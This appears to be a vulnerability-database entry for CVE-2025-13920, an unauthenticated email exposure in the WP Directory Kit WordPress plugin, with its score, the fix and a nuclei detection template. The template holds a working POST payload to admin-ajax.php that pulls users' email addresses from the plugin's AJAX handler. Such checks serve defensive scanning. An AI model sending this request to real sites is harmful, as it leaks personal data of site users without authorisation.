WP Directory Kit < 1.5.0 - Unauthenticated Email Exposure

mediumseverity

6.2CVSS score

0.7%likelihood of exploitation, next 30 days

54%of all CVEs are less likely

Readycheck to confirm it

WP Directory Kit plugin for WordPress <= 1.4.9 contains a sensitive information exposure caused by improper access control in wdk_public_action AJAX handler, letting unauthenticated attackers extract email addresses of users with Directory Kit-specific roles.

Impact

Unauthenticated attackers can extract email addresses of users with specific roles, leading to privacy breaches.

Fix

Update to the latest version beyond 1.4.9.

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200 and contains(content_type, "application/json") and contains_all(body, "\"success\":true", "\"text\"", "@")

Run it with nuclei: nuclei -id CVE-2025-13920 -u <target>

The full check

id: CVE-2025-13920

info:
  name: WP Directory Kit < 1.5.0 - Unauthenticated Email Exposure
  author: 0x_Akoko
  severity: medium
  description: |
    WP Directory Kit plugin for WordPress <= 1.4.9 contains a sensitive information exposure caused by improper access control in wdk_public_action AJAX handler, letting unauthenticated attackers extract email addresses of users with Directory Kit-specific roles.
  impact: |
    Unauthenticated attackers can extract email addresses of users with specific roles, leading to privacy breaches.
  remediation: |
    Update to the latest version beyond 1.4.9.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/8905dcc7-d3c8-4ae8-818c-df3e6ed2ad9c
    - https://nvd.nist.gov/vuln/detail/CVE-2025-13920
    - https://wordpress.org/plugins/wpdirectorykit/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.2
    cve-id: CVE-2025-13920
    epss-score: 0.00715
    epss-percentile: 0.54051
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 1
    vendor: wpdirectorykit
    product: wpdirectorykit
    fofa-query: body="/wp-content/plugins/wpdirectorykit/"
  tags: cve,cve2025,wordpress,wp-plugin,wpdirectorykit,exposure,unauth,vkev

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wdk_public_action&page=wdk_frontendajax&function=select_2_ajax&table=user_m&print_column=user_email&key_column=ID

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"success\":true", "\"text\"", "@")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from